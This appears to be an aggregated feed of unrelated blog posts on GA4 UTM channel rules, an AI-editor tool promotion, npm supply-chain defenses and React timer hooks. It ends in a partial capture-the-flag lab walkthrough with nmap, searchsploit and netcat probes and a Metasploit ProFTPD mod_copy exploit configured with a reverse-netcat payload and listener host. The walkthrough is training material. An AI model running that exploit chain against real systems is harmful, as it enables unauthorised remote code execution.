What channel are Email and SMS in GA4 — Google’s official spec has the answer

All 23 channels defined by GA4

Have you ever sent a newsletter campaign, checked GA4 the next morning, and found that none of the traffic landed under the Email channel? Or wondered why your SMS blast got bucketed into Referral instead of SMS?

If you ask five marketers what channel Email, SMS, and Mobile Push land in inside GA4, you will get five different guesses. “Probably Referral, or (other)?” is the most common answer.

But there is no guesswork involved. GA4 has an official Default Channel Group spec that decides exactly which of the 23 channels every visit gets classified into, based on the utm_source and utm_medium values. Google publishes the full logic, and operators cannot override it on the default report.

In this post, I decode the official Email, SMS, and Mobile Push judgement rules straight from the public documentation, so you stop guessing and start naming UTMs correctly on the first try.

TL;DR

  • Email channel rule is satisfied when utm_medium=email (or three alternate spellings). The shortest correct form is utm_medium=email.
  • SMS channel rule is an exact string match on sms. LINE, WhatsApp, and Messenger are NOT SMS — they fall into Referral or Organic Social.
  • Mobile Push uses 3 OR conditions. Any one of utm_medium ending in push, containing mobile or notification, or utm_source=firebase triggers it.

1. What is the Default Channel Group, and who decides it

GA4’s Default Channel Group is a system that classifies each visit by looking at the combination of utm_source and utm_medium and matching them against an official rule set. You cannot rename channels in the report UI. You can build a separate custom channel group, but the default 23-channel logic is locked down by Google.

The judgement logic lives in two official files:

  • Channel definitions — the “[GA4] Default channel group” help page lists the condition expressions for all 23 channels.
  • Source Categories table — a .xlsx file Google distributes with 819 entries, mapping each utm_source value to a category like SOCIAL, SEARCH, VIDEO, or SHOPPING.

This post focuses on the first file. The second one is covered in the sibling utm_source post I wrote separately.

Here is the full list of 23 channels GA4 currently defines. Email, SMS, and Mobile Push are the three most commonly misclassified despite being the ones operators design UTMs for most actively.

All 23 channels defined by GA4's official spec

Why the default rules are locked

GA4 keeps the channel logic centralized so reports stay comparable across companies and industries. If every operator could redefine “Email” or “Referral” on their own report, no benchmark study, no GA4 official guide, and no third-party tutorial would work consistently. Custom channel groups exist precisely to handle company-specific views without polluting the shared 23-channel definition.

One common misconception is that channel classification is “GA4 trying to guess what the traffic is”. It is not guessing — it is running a fixed rule set against your UTM values. If the rule does not match, the traffic falls into Unassigned. That is a UTM naming problem on the sender side, not a GA4 detection failure.

2. Email channel rule — which UTM values actually land in Email

Newsletter senders ask this every week. What exactly do you put in the UTM so that GA4 buckets the click into the Email channel? The official condition is:

Email — Source matches "email|e-mail|e_mail|e mail" OR Medium matches "email|e-mail|e_mail|e mail"

utm_source and utm_medium are joined by an OR, so satisfying either side is enough. Four spellings are accepted (email, e-mail, e_mail, e mail) — hyphen, underscore, and space variants all pass.

Three classic mistakes that knock Email out of the bucket

  • utm_medium=newsletter — a direct translation of “newsletter” feels natural, but it is not in the 4 accepted spellings. It drops to Paid Other or (other).
  • utm_medium=mail — the leading e is missing. Plain mail does not match the regex, so Email disappears from your channel report.
  • utm_source=mailchimp with utm_medium left blank — Source side has no email substring, so the condition fails. Blank utm_medium is the single biggest cause of newsletter clicks falling into Referral.

If you want to keep utm_source as the ESP name (mailchimp, sendgrid, klaviyo) for internal segmentation, always pair it with utm_medium=email so the Medium side condition fires.

Recommended format and judgement cheat sheet

The recommended format for newsletter UTMs is:

utm_source=mailchimp     # the ESP / internal segmentation unit
utm_medium=email         # shortest of the 4 accepted spellings
utm_campaign=2026-05-launch
utm_content=cta-button-top

Here is how common utm_medium values get classified by GA4’s Email rule on one chart.

Email channel judgement: Recommended vs NG

3. SMS channel rule — and why LINE / WhatsApp do NOT count

The SMS channel rule is even simpler:

SMS — Source exactly matches "sms" OR Medium exactly matches "sms"

Unlike Email, this is an exact match. Any other spelling — including SMS with uppercase letters — fails. GA4 stores values case-sensitively, so utm_source=SMS will not match.

Is LINE / WhatsApp considered SMS? The official answer is “No”

It is tempting to lump every messaging channel together, but GA4’s SMS definition only reacts to the literal string sms. Putting utm_source=line or utm_source=whatsapp will not trigger SMS classification — they land in Referral or Organic Social depending on the Source Categories table.

“We want to see LINE Official Account clicks alongside SMS as a messaging cluster” is a common request that the default channel group cannot satisfy. The practical workarounds are: (a) create a custom channel group, or (b) keep SMS as its own channel and track LINE separately inside Referral by filtering on utm_source=line.

Recommended format and judgement cheat sheet

Here is the recommended SMS UTM format and the values that pass or fail the SMS rule.

SMS channel judgement: Recommended vs NG

4. Display, Mobile Push, Affiliates, Audio — quick reference

Outside of Email and SMS, the channels where operators most often craft UTMs by hand are Display, Mobile Push, Affiliates, and Audio. Here is the official judgement rule for each one on a single reference chart.

GA4 channel-by-channel judgement reference

Mobile Push is the most flexible — it has 3 OR conditions, so utm_medium=web-push, utm_medium=mobile-app, or utm_source=firebase all qualify independently. If you send from a web push notification tool, drop one of those into utm_medium and you are covered.

3 steps to check whether your own UTMs are misclassified

Once you know the spec, here is how to audit your own GA4 property:

  1. Open Acquisition → Traffic acquisition and break down by “Default channel group”.
  2. Look at the last 30 days. If there is meaningful volume in “Unassigned” or “(other)”, you have UTMs that do not match the official conditions.
  3. Add Session source / medium as a secondary dimension and read the raw utm_source / utm_medium values to find the offending combinations.

If Unassigned plus (other) is over 5 percent of sessions, you almost certainly have inconsistent UTM naming across campaign owners.

5. Classifying correctly is step one. The real question is revenue.

Decoding the official spec is great, but what operators actually want to know is which channel is driving revenue. The 1,000 Email-classified sessions are interesting only when you can also see how many converted and what the average order value was. Without that, the channel report stays a vanity metric.

GA4 is built to measure the traffic side — sessions per channel. I’m building a tool called RevenueScope that approaches this from the opposite direction: revenue first, then trace back to the channel. It complements GA4 rather than replacing it. Once your UTMs are classified correctly inside GA4, the same values flow into RevenueScope and show up as Revenue Per Session (RPS) and Average Order Value (AOV) per channel — so Email, SMS, and Mobile Push contribution to the bottom line lives on one screen.

The point is: “classify correctly” is step one of two. Step two is connecting that classification to revenue per session. A channel report that ends at session count tells you what happened. A channel report that goes through to revenue tells you what to do next — which channel deserves more budget next month, and which one is wasting impressions despite high session volume.

Related posts on the same series:

References

  1. Google Analytics Help — [GA4] Default channel group (May 2026)
  2. Google — GA4 Default Channel Group Source Categories (official .xlsx, 819 entries) (latest verified May 2026)

What does your team’s UTM convention look like for Email and SMS? Are you seeing meaningful volume in Unassigned or (other) on the GA4 channel report? Drop a comment below — curious how others are handling the LINE / WhatsApp grey zone in particular.

Stop Re-Explaining Your Codebase to AI Every Single Session

I’m going to describe something that happens to almost every developer using AI editors right now.

You open Cursor. New chat. You ask it to help with something. And before it does anything useful, it asks you what framework you’re using. Or it confidently suggests something that completely ignores how your project is actually structured.

Not because the AI is bad. Because it literally has no idea what your project looks like. Every session is a blank slate.

So you paste package.json. You paste a couple of files. You explain the folder structure. You answer the same questions you answered yesterday. And the day before.

I got tired of it. So we built Zephex — a hosted MCP gateway that gives your AI editor real tools to understand your codebase, instead of waiting for you to spoon-feed it.

Here’s the 10 tools u gotta know:

The tools that actually matter
There are 10 tools total. These are the ones I reach for every day.
scope_task —run this before touching any code
You describe your task in plain English.

It reads your repo and comes back with the exact files that matter, what utilities already exist that you should reuse, and which callers might break.
task: “add rate limiting to the auth endpoints”
→ 4 focus files, 1 reusable utility found, 2 callers at risk
Before I had this, I’d open like 15 files and half of them weren’t relevant. Now I open the right 3.

get_project_context tools stop explaining your stack
One call. It reads your package.json / pyproject.toml / Cargo.toml / whatever and returns your full stack — language, framework, runtime, package manager, scripts, CI setup, entry points, dependency health.

Works for Node, Python, Go, Rust, Java, Kotlin, Swift, PHP, .NET. Also accepts GitHub URLs directly, not just local paths.
find_code — actually useful search
Boolean queries, regex, or literal — scoped to definitions only, or tests only, or imports only.

“stripe AND webhook NOT test” → definitions only
Replaces the thing where you grep for something and get 200 results from node_modules.

audit_package — before you touch a version number
Type in your current version, get back every breaking change, active CVEs, migration examples, and peer dependency conflicts between now and latest.
next @ 13.5.4 → 16.2.1
→ 2 breaking changes, CVE-2025-29927 (CVSS 9.1 — patch immediately), 1 peer conflict

I run this before every upgrade now. Found a critical CVE in a package I was about to update to.
audit_headers — after every production deploy
Checks your live URL’s security headers, SSL cert, redirect chain, and cookies. Returns a letter grade and paste-ready fix snippets for Vercel, Cloudflare, or Nginx.

zephex.dev → Grade: A
CSP: present (1 issue: unsafe-inline in script-src)
HSTS: max-age 31536000, preload eligible
TLS: 1.3, cert valid until Aug 2026
thinking — for when you’re stuck
This one sounds abstract but it’s genuinely useful. Hard bug, weird multi-system issue, something you’ve been staring at for two hours — open a thinking session before you start reading code. It tracks your hypotheses and flags when you’re going in circles or drifting off the actual problem.

What actually changed
The honest version: I stopped context-dumping at the start of every session.

That’s it. That’s the whole thing. The AI knows what my project looks like, what the conventions are, what already exists. I ask it to do something, and it actually does the right thing on the first try more often than not.

The first week I used it I caught myself thinking “wait, I didn’t have to explain anything.” That’s a weird feeling when you’ve been doing the paste-files-and-explain dance for a year.

works with a bunch of editors:

Claude Code ,Cursor , VS Code ,Windsur opencode ,Gemini CLIKiro IDEFactory (Droid)GooseCodex CLIGitHub Copilot CLI Warp

If you try it, the two tools to start with are scope_task and get_project_context. Those two alone are worth the setup time.

npm Supply Chain Attacks: Why They Keep Happening and How to Defend

Every few months, a new npm package gets hijacked, ships malware to anyone who runs npm install, and the cycle repeats. The October 2021 ua-parser-js compromise. The 2022 node-ipc protestware. The recurring typosquats. The maintainer accounts taken over via phishing or expired domains. The reaction on r/programming is always the same: no way to prevent this, says the only package manager unable to prevent this.

We dug into what actually drives these incidents and what defenses are realistic for a team shipping JavaScript today.

The Pattern Behind the Attacks

The attacks rhyme. A maintainer’s npm account gets compromised — through a leaked token, a reused password, or an account takeover after their email domain lapses. A new version ships with a post-install script that exfiltrates environment variables, drops a cryptominer, or installs a remote shell. By the time it’s flagged, hundreds of thousands of downloads have already happened because CI runs npm install on every PR.

The 2021 ua-parser-js incident is the template. Three malicious versions (0.7.29, 0.8.0, 1.0.0) shipped in the same week. Within hours of the maintainer pushing legitimate releases, the attacker pushed cryptominer-laced versions. npm pulled them after the maintainer was alerted by a user — not by automated detection. Anyone who had pinned their version range loosely (^0.7.x) and ran npm install during that window got the payload.

The 2022 colors.js and faker.js story is different — same outcome, different motive. The maintainer himself sabotaged his own packages out of frustration with corporate consumers who never paid or contributed. Infinite loop on import. Tens of millions of weekly downloads affected. The supply chain doesn’t care whether the attacker is hostile or just burned out.

The event-stream incident from 2018 still sits in the back of everyone’s mind. A new maintainer was added in good faith, shipped a backdoor targeting a specific cryptocurrency wallet, and it sat undetected for months. That one wasn’t a typo or a takeover — it was social engineering. The trust model assumes maintainers stay maintainers.

What Makes npm Uniquely Exposed

Three structural choices make npm a softer target than pip, RubyGems, or Cargo.

Post-install scripts run by default. Any package can declare a postinstall hook that executes arbitrary Node code when you install it. Python’s pip will run setup.py for sdists, but the trend has moved hard toward wheels with no code execution. Cargo doesn’t run arbitrary code on cargo add. npm does, every install, on every machine — including the CI runner that has your deploy keys in env vars.

Transitive dependency depth. A typical Express app pulls 800–1,500 transitive packages. A Next.js project pulls 1,500–3,000. Each one is a maintainer you’ve never met, an attack surface you can’t manually audit. Compare to a Go project, where the standard library covers most of what npm packages handle and module graphs stay shallow.

Permissionless publishing. Anyone can claim an unclaimed name, publish a typosquat, or revive an abandoned namespace. The crossenv typosquat targeting cross-env ran for two weeks before takedown. Similar look-alikes have been weaponized against node-fetch, chalk, and other top-100 packages.

If your CI runs npm install (not npm ci against a lockfile) on every PR, every dependency on every transitive level can execute code in your build environment. Switching to npm ci doesn’t prevent malicious code, but it prevents silent version drift that turns a Friday push into a Monday incident.

The Defender’s Toolkit

There’s no silver bullet, but there’s a stack that meaningfully reduces blast radius.

Lockfile-first installs. npm ci (or pnpm install --frozen-lockfile, yarn install --frozen-lockfile) refuses to install anything not in your lockfile. This is the cheapest defense and the one most teams still don’t enforce in CI. Pair it with Renovate or Dependabot for explicit, reviewable upgrade PRs.

Socket (socket.dev). Socket runs static analysis on every published version of every npm package and flags new behavior: a package that suddenly reads ~/.aws/credentials, opens network sockets, or spawns child processes. They surface this as GitHub PR comments when a dependency change introduces capability creep. The free tier covers public repos; paid plans add private repo scanning and policy enforcement. The differentiator versus traditional SCA is behavioral signals — they’re looking at what the code does, not just CVE matches.

Snyk and GitHub Dependabot Alerts. Both are CVE-driven, which means they catch known vulnerabilities but lag fresh supply-chain attacks by hours-to-days. Useful as the second layer, not the first. snyk test in CI fails the build on known-vulnerable transitive deps. Dependabot’s auto-PRs are the path of least resistance for keeping the tail patched.

--ignore-scripts for CI installs. If your CI doesn’t need post-install scripts to run, set npm config set ignore-scripts true in the CI environment. This single flag would have neutralized the cryptominer payloads in every account-takeover incident of the last five years. The tradeoff is some native modules that build on install will fail; you’ll need prebuilt binaries or an allowlist.

Provenance attestations (npm provenance). Since 2023, packages published from GitHub Actions can attach a signed attestation proving the publish came from a specific workflow run. Adoption is still spotty, but for your own packages it’s a one-line CI change. For consuming, npm audit signatures will verify them. Not a complete defense, but it raises the cost of post-takeover republishing.

The realistic posture for a small team: npm ci in CI, --ignore-scripts where possible, Socket on every PR for behavioral diffs, Dependabot for the CVE tail, and a documented runbook for what to do when an alert fires at 2am — because it will.

Originally published at pickuma.com. Subscribe to the RSS or follow @pickuma.bsky.social for new reviews.

Timers in React Without setTimeout: useTimeout, useInterval, useCountDown, and useRafFn

Timers in React Without setTimeout: useTimeout, useInterval, useCountDown, and useRafFn

Timers are one of those things every React developer writes by hand the first ten times and gets wrong on at least six of them. The pattern looks simple: call setTimeout in a useEffect, return a cleanup function, ship it. Then a code review finds the stale closure. Then a bug ticket arrives because the delay is being read from props at mount instead of from the current render. Then someone notices the interval keeps running after the component unmounts on a slow page. Then you discover that setInterval drifts a little every cycle and your countdown is off by 800ms after a minute. Then your performance audit flags the animation loop that nobody remembered to pause when the tab was hidden.

None of these bugs are interesting. They are all the same kind of bug: the timer logic is fine, the React integration is what breaks. ReactUse ships six small hooks that handle this integration once and let you write the timer logic by itself: useTimeout, useTimeoutFn, useInterval, useCountDown, useRafFn, and useRafState.

This post walks each one — what the underlying primitive is, what the manual version looks like in React, what bug the hook hides, and where it actually belongs in your code. By the end you should know which timer hook to reach for and why.

The Problem in One Snippet

Before any hooks, here is what almost every React codebase does at least once:

function Toast({ message, durationMs }: { message: string; durationMs: number }) {
  const [visible, setVisible] = useState(true);

  useEffect(() => {
    const id = setTimeout(() => setVisible(false), durationMs);
    return () => clearTimeout(id);
  }, [durationMs]);

  return visible ? <div className="toast">{message}</div> : null;
}

That is correct, mostly. The bug is what is missing:

  1. The dependency array re-runs the effect every time durationMs changes — so a parent updating the prop mid-flight restarts the timer from zero instead of letting it finish.
  2. There is no way to cancel the timer from outside (e.g., a “dismiss” button) without lifting the visible state up.
  3. There is no way to read whether the timer is still pending — useful for tests, for analytics, for showing a “fading in 2s…” label.
  4. The cleanup runs on unmount, which is good, but it also runs on every re-render that touches durationMs, which is usually not what you want.

You can fix all four with useRef plumbing, but it is the kind of plumbing nobody enjoys writing twice. That is exactly what useTimeoutFn exists for.

1. useTimeoutFn — The Correct setTimeout

useTimeoutFn(callback, interval, options?) schedules callback after interval ms and returns [isPending, cancel, restart]. Three concrete things it does that the naive version does not:

  • The latest callback is always called — no stale closures even if you do not list the callback in deps.
  • cancel() lets a parent or sibling component stop the timer without unmounting.
  • restart() lets you reset the clock without changing keys or remounting.

Rewriting Toast:

import { useTimeoutFn } from "@reactuses/core";

function Toast({ message, durationMs, onClose }: {
  message: string;
  durationMs: number;
  onClose: () => void;
}) {
  const [isPending, cancel, restart] = useTimeoutFn(onClose, durationMs);

  return (
    <div className="toast" onMouseEnter={cancel} onMouseLeave={() => restart()}>
      {message}
      {isPending && <span className="fade-bar" />}
    </div>
  );
}

Notice what disappeared: no useEffect, no setTimeout, no clearTimeout, no useRef, no useCallback. The hover behavior — pause the auto-dismiss while the user is reading the toast — is a one-liner. The isPending flag drives the fade bar without any extra state.

The immediate option (default true) controls whether the timer starts on mount. Set it to false for “fire on demand”:

const [, , scheduleSave] = useTimeoutFn(saveDraft, 2000, { immediate: false });

return <textarea onChange={(e) => { setText(e.target.value); scheduleSave(); }} />;

Every keystroke pushes the save 2 seconds into the future. This is one way to build a “save 2 seconds after the user stops typing” debounce, though useDebounceFn is usually the cleaner choice for that specific pattern.

2. useTimeout — When You Just Want a Re-Render After N Milliseconds

useTimeout(ms, options?) is the same thing as useTimeoutFn but the callback is the component’s own re-render. Useful when you want a piece of UI to “appear after a delay” without storing a boolean.

import { useTimeout } from "@reactuses/core";

function DelayedSpinner({ delayMs = 250 }: { delayMs?: number }) {
  const [isPending] = useTimeout(delayMs);
  return isPending ? null : <Spinner />;
}

The use case is “don’t show a spinner for sub-250ms loads.” If the parent finishes loading in 100ms, the spinner is never seen — no flash. If it takes longer, the spinner appears. No state, no effect, no boolean.

Same return shape as useTimeoutFn, so cancel and restart are there if you need to interrupt the re-render. In practice the read pattern dominates.

3. useInterval — The setInterval That Actually Pauses

useInterval(callback, delay, options?) runs callback every delay ms. The return value is { isActive, pause, resume }, not a tuple — useInterval is built around the pause/resume idea because that is the operation everyone needs and nobody implements correctly with raw setInterval.

The most common bug with setInterval in React is not the cleanup — modern linters catch that — it is passing null to stop the timer. With useInterval, that pattern just works:

import { useInterval } from "@reactuses/core";

function Polling({ active, onTick }: { active: boolean; onTick: () => void }) {
  useInterval(onTick, active ? 5000 : null);
  return null;
}

When active flips to false, the delay becomes null and the interval clears. When it flips back, the interval restarts at the new delay. No useEffect, no ref dance, no “did I clean up on the right value of active” worry.

If you prefer explicit pause/resume from outside the hook (for example, pausing polling while the user is offline), use the controls: true option and take the controls:

const { isActive, pause, resume } = useInterval(refresh, 5000, {
  controls: true,
  immediate: true,
});

useEffect(() => {
  const onVisibilityChange = () =>
    document.hidden ? pause() : resume();
  document.addEventListener("visibilitychange", onVisibilityChange);
  return () => document.removeEventListener("visibilitychange", onVisibilityChange);
}, [pause, resume]);

That snippet alone fixes a class of bugs that ships to production all the time: polling that continues at full rate while the user is on another tab, burning battery and rate-limited quota.

Why Not setInterval + Drift Correction?

setInterval does not guarantee an exact delay between calls — the browser may delay or batch callbacks when the page is throttled (background tab, low battery, Chrome’s “intensive throttling”). For a polling loop this is fine. For a clock display it is visibly wrong: after 60 ticks of “every 1000ms” the displayed time can be a second or two behind the actual wall clock.

For clocks specifically, do not use useInterval to drive the display value. Use useInterval to schedule re-renders and read Date.now() inside the render:

function Clock() {
  const [, force] = useState(0);
  useInterval(() => force((n) => n + 1), 1000);
  return <span>{new Date().toLocaleTimeString()}</span>;
}

The interval is allowed to drift; the displayed time is read fresh on every render. Drift becomes a re-render scheduling concern, not a correctness concern.

4. useCountDown — Hours, Minutes, Seconds Without the Date Math

Countdowns are intervals with extra responsibility: track remaining time, format it for display, fire a callback when it hits zero, and stop the timer afterwards. The component-level version of this looks like 30 lines of code that everybody has written at least once.

useCountDown(time, format?, callback?) returns a [hours, minutes, seconds] tuple of strings (zero-padded) and handles all of the above:

import { useCountDown } from "@reactuses/core";

function OtpResend({ onExpire }: { onExpire: () => void }) {
  const [h, m, s] = useCountDown(60, undefined, onExpire);
  const expired = h === "00" && m === "00" && s === "00";

  return expired
    ? <button onClick={() => /* request again */ undefined}>Resend code</button>
    : <span>Resend in {m}:{s}</span>;
}

The hook owns the interval, the remaining-time state, and the callback dispatch. The component owns the rendering decision. If you want a different format (for example, Xm Ys or a raw seconds count), pass a format function that takes the remaining-seconds number and returns three strings — the hook calls it on every tick and returns whatever you give it.

useCountDown clamps to ["00", "00", "00"] once time runs out, and refuses to overflow past 99 hours, so you do not have to defend the view layer against silly inputs.

5. useRafFn — When You Need 60fps, Not “About Once Per Second”

setInterval(fn, 16) is the wrong way to run something on every frame. The browser already has a primitive for “do this once per frame, synchronized to the display refresh, and skip it if the tab is hidden” — requestAnimationFrame. useRafFn(callback, initiallyActive?) is the React wrapper around it.

The callback receives the current high-resolution timestamp (the same value requestAnimationFrame passes to its callback), and the hook returns [stop, start, isActive].

A canvas particle simulation, a smooth scroll position read, a CSS-variable-driven animation — anything that needs to update every frame should use useRafFn:

import { useRafFn } from "@reactuses/core";
import { useRef } from "react";

function FollowCursor() {
  const ref = useRef<HTMLDivElement>(null);
  const target = useRef({ x: 0, y: 0 });
  const current = useRef({ x: 0, y: 0 });

  useEffect(() => {
    const onMove = (e: MouseEvent) => { target.current = { x: e.clientX, y: e.clientY }; };
    window.addEventListener("mousemove", onMove);
    return () => window.removeEventListener("mousemove", onMove);
  }, []);

  useRafFn(() => {
    // Spring-ish lerp toward the target each frame
    current.current.x += (target.current.x - current.current.x) * 0.15;
    current.current.y += (target.current.y - current.current.y) * 0.15;
    if (ref.current) {
      ref.current.style.transform = `translate3d(${current.current.x}px, ${current.current.y}px, 0)`;
    }
  });

  return <div ref={ref} className="follower" />;
}

Two things to notice. First, the animation does not call setState. Pushing to ref.current.style keeps the work outside React’s render cycle, which is the only way to get a real 60fps on a non-trivial page. Second, when the tab is hidden the browser stops firing requestAnimationFrame automatically — no useInterval-style throttling cliff, no manual pause logic needed for the common case.

If you do want manual control (for example, only animate while a panel is open), pass false as the second argument and call start()/stop() from your effect.

6. useRafState — Batched State Updates for Animations You Actually Re-render

useRafFn is great when you can mutate DOM directly. Sometimes you cannot — you have to push the new value into React state because it drives a JSX subtree. The naive version of this is:

const [pos, setPos] = useState({ x: 0, y: 0 });
// ... 60 setPos calls per second when the cursor moves

That works, but every setPos triggers a render. If the cursor fires mousemove faster than 60Hz (some browsers do), you get more renders than frames. useRafState solves this by batching state updates to requestAnimationFrame — at most one render per frame, even if setState is called many times in between.

import { useRafState } from "@reactuses/core";

function CursorBadge() {
  const [pos, setPos] = useRafState({ x: 0, y: 0 });

  useEventListener("mousemove", (e) => {
    setPos({ x: e.clientX, y: e.clientY });
  });

  return <div style={{ left: pos.x, top: pos.y }} className="badge" />;
}

The component re-renders at most 60 times per second regardless of how many mousemove events fire. It is a one-line drop-in replacement for useState whenever the source of updates is a high-frequency browser event (mouse, scroll, resize) and the target is JSX.

Pair this with useEventListener for the event side; pair with useRafFn instead when the target is a DOM mutation.

When to Use Which

The decision is not about preference — each hook fits a specific shape of problem:

You need to… Reach for
Run a callback once after N ms useTimeoutFn
Force a re-render once after N ms useTimeout
Run a callback every N ms with pause/resume useInterval
Display hh:mm:ss remaining useCountDown
Do work every frame, no React state useRafFn
Update React state on every frame at most useRafState
Wait until the user stops typing useDebounceFn
Cap callback rate to once per N ms useThrottleFn

The last two — useDebounceFn and useThrottleFn — are not strictly timer hooks, but they live in the same family. The short version is “stop a high-frequency event from firing too often” rather than “schedule work in the future.”

Three Mistakes the Hooks Quietly Prevent

A few subtle bugs the hooks above make impossible.

Mistake 1: The setTimeout in useState Initializer

const [id] = useState(() => setTimeout(callback, 1000)); // wrong

This schedules a timer that survives across React’s intentional double-invocation in Strict Mode, and there is no cleanup. The “fix” with effects and refs is several lines. useTimeoutFn(callback, 1000) is one line and double-invocation safe by construction.

Mistake 2: Reading State Inside an Interval Callback

const [count, setCount] = useState(0);
useEffect(() => {
  const id = setInterval(() => setCount(count + 1), 1000);
  return () => clearInterval(id);
}, []); // captures count=0 forever — count goes 0, 1, 1, 1, 1...

This is the most-Googled React timer bug. The fix in plain React is either the functional updater (setCount((c) => c + 1)) or a ref. The fix with useInterval is “it already works” — the hook routes the latest callback through a ref internally.

Mistake 3: Animating React State at 60fps

const [x, setX] = useState(0);
useEffect(() => {
  const tick = () => { setX((v) => v + 1); requestAnimationFrame(tick); };
  requestAnimationFrame(tick);
}, []);

This works for one component. With ten on screen, React’s render queue starts dropping frames because each setState triggers a full reconciliation. useRafFn lets you mutate DOM directly without going through React; useRafState caps re-renders to one per frame when DOM mutation is not an option. Either is correct; the loop above is correct only by accident.

Putting It Together: A “Tab Idle Refresher”

A small, realistic component to close on — a data card that polls every 30 seconds while the tab is visible and the user is active, and shows a countdown to the next refresh:

import { useInterval, useCountDown } from "@reactuses/core";
import { useState, useCallback } from "react";

function LiveStat({ fetchValue }: { fetchValue: () => Promise<number> }) {
  const [value, setValue] = useState<number | null>(null);
  const [error, setError] = useState<string | null>(null);
  const [, m, s] = useCountDown(30);

  const refresh = useCallback(async () => {
    try {
      setValue(await fetchValue());
      setError(null);
    } catch (e) {
      setError(e instanceof Error ? e.message : "Unknown error");
    }
  }, [fetchValue]);

  useInterval(refresh, 30_000, { immediate: true });

  return (
    <div className="card">
      <div className="value">{value ?? "—"}</div>
      <div className="footer">
        {error ? `Error: ${error}` : `Next refresh in ${m}:${s}`}
      </div>
    </div>
  );
}

useInterval owns the polling cadence. useCountDown owns the visual ticker. Neither is told about the other; both happen to land on the same number because they are seeded with the same constant. Two hooks, no useEffect, no setTimeout, no useRef.

Try Them Out

Every hook in this post has a runnable demo on its docs page. The fastest way to absorb the API surface is to read the demo, change one prop, and see what breaks:

Install with npm install @reactuses/core (or pnpm add @reactuses/core) and import directly. No provider, no setup, no peer dependencies beyond React 16.8+. The full hook list and source for everything we discussed is at reactuse.com.

Stop writing setTimeout in useEffect. The right hook for the job exists, and it is shorter.

Host & Network Penetration Testing: Exploitation CTF Walkthrough

nmap results

Introduction

After recently transitioning into my first cybersecurity role, I’m continuing my practical skills development through hands-on labs. This writeup documents my approach to completing the Exploitation CTF, which focuses on vulnerability identification, exploit modification, and privilege escalation techniques.

Challenge Objectives:

  • Identify and exploit vulnerable services to achieve initial system compromise
  • Leverage both manual exploitation techniques and automated frameworks
  • Implement privilege escalation strategies on compromised targets
  • Demonstrate post-exploitation enumeration and lateral movement capabilities

Flag 1: ProFTPD mod_copy Exploitation

Hint: A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.

Initial Reconnaissance

After confirming target reachability through basic host discovery, I began service enumeration to identify potential attack vectors:

Nmap Service Scan:

nmap -sV target1.ine.local

nmap results

The scan revealed several services, with ProFTPD standing out as a potentially vulnerable target based on known CVEs affecting this version.

Vulnerability Research

Using searchsploit, I identified multiple exploits for ProFTPD:

searchsploit proftpd 1.3.5

searchsploit results

Vulnerability Analysis: CVE-2015-3306

Before executing the attack, I researched the mechanics of CVE-2015-3306 to ensure all necessary environmental prerequisites were met on the target. The core vulnerability stems from ProFTPD’s mod_copy module, which fails to check authentication before allowing users to copy files internally using the SITE CPFR and SITE CPTO commands.

Exploitation Requirements:

  1. ✓ ProFTPD with mod_copy enabled (unauthenticated copy vulnerability)
  2. ✓ Co-hosted web server with script execution capability (Apache + PHP)
  3. ✓ Writable web document root accessible to ProFTPD service account
  4. ✓ Default Apache document root: /var/www/html

Attack Chain:
FTP File Copy → Web Root Placement → HTTP Trigger → Remote Code Execution

However, to achieve Remote Code Execution, this FTP flaw must be chained with a co-hosted web server capable of executing server-side code. Because FTP servers are designed strictly for file transfer and lack the ability to parse scripts (like PHP, Python, or Bash), the exploit requires moving the payload into the web server’s publicly accessible document root. By doing this, we forcefully hand over the execution responsibility to the web application engine.

Research indicated that the target was running Apache, which defaults to a document root of /var/www/html. The exploit also required the ProFTPD service account to possess write privileges to that web directory.

Exploitation via Metasploit

After gaining an understanding of how the exploit worked, I used Metasploit to automate the attack. Using the exploit/unix/ftp/proftpd_modcopy_exec module, I configured the following parameters:

Configuration:

use exploit/unix/ftp/proftpd_modcopy_exec
set RHOSTS target1.ine.local
set LHOST 192.244.150.2
set SITEPATH /var/www/html
run

Key Parameters:

  • RHOSTS: target1.ine.local
  • LHOST: 192.244.150.2
  • SITEPATH: /var/www/html
  • Payload: cmd/unix/reverse_netcat (default)

metasploit execution

Execution Results:

  • ✓ Successfully connected to FTP server (ProFTPD 1.3.5)
  • ✓ PHP payload written to /var/www/html/kxVGG.php
  • ✓ Reverse shell session established on port 4444
  • ✗ Automated cleanup failed (insufficient permissions)

Metasploit’s automated cleanup routine failed to delete the deployed payload file due to insufficient permissions on the web directory. This triggered the “Failure executing payload” message and caused the framework to prematurely abort, incorrectly reporting “no session was created” despite the reverse shell connection remaining active and fully functional.

Security Note: The payload file /var/www/html/kxVGG.php requires manual removal to avoid leaving forensic evidence on the target system.

Shell Upgrade: Basic to Interactive TTY

The initial reverse shell lacked interactive features—no tab completion, command history, or proper signal handling (Ctrl+C would terminate the session). To improve operational capability, I upgraded to a full TTY shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

What this does:

  • Imports Python’s pty (pseudo-terminal) module
  • Spawns a Bash process within a PTY environment
  • Enables job control, text editors (vim/nano), and terminal-based applications

This one-liner effectively upgrades the rudimentary shell into a fully interactive TTY session, significantly improving usability for post-exploitation enumeration and privilege escalation activities.

Flag Capture

As indicated by the challenge hint, I navigated to the root directory to capture the first flag:

cd /
ls
cat flag1.txt

flag 1

Flag 1 captured successfully! ✓

Flag 2: Internal Service Discovery

Hint: Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.

Internal Service Enumeration

The hint suggests that an internal service running on the target machine may reveal the second flag. With a foothold established, I pivoted to identifying internal services that may not be visible from external scans.

I used the netstat utility to enumerate listening services:

netstat -tuln

internal services

Analysis: Port 8888 is bound specifically to 127.0.0.1 (localhost), which explains why the external Nmap scan couldn’t detect it—the service is configured to refuse connections from outside the host. The DNS services on port 53 were likely part of Docker’s internal networking infrastructure.

Service Interaction

To interact with the service running on port 8888, I attempted to probe it using netcat:

nc 127.0.0.1 8888

A passphrase prompt appeared upon connection. Based on the hint from Flag 1, I used the previously discovered flag as the passphrase.

flag 2

Flag 2 captured successfully! ✓

Flag 3: SMB Share Misconfiguration

Hint: A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?

Target Reconnaissance

As indicated by the challenge hint, I began by enumerating services on the new target:

Nmap Service Scan:

nmap -sV target2.ine.local

target2 services

Services Identified:

Port Service Version Notes
80 HTTP Apache httpd No obvious vulnerabilities
445 SMB Samba Requires investigation

SMB Share Enumeration

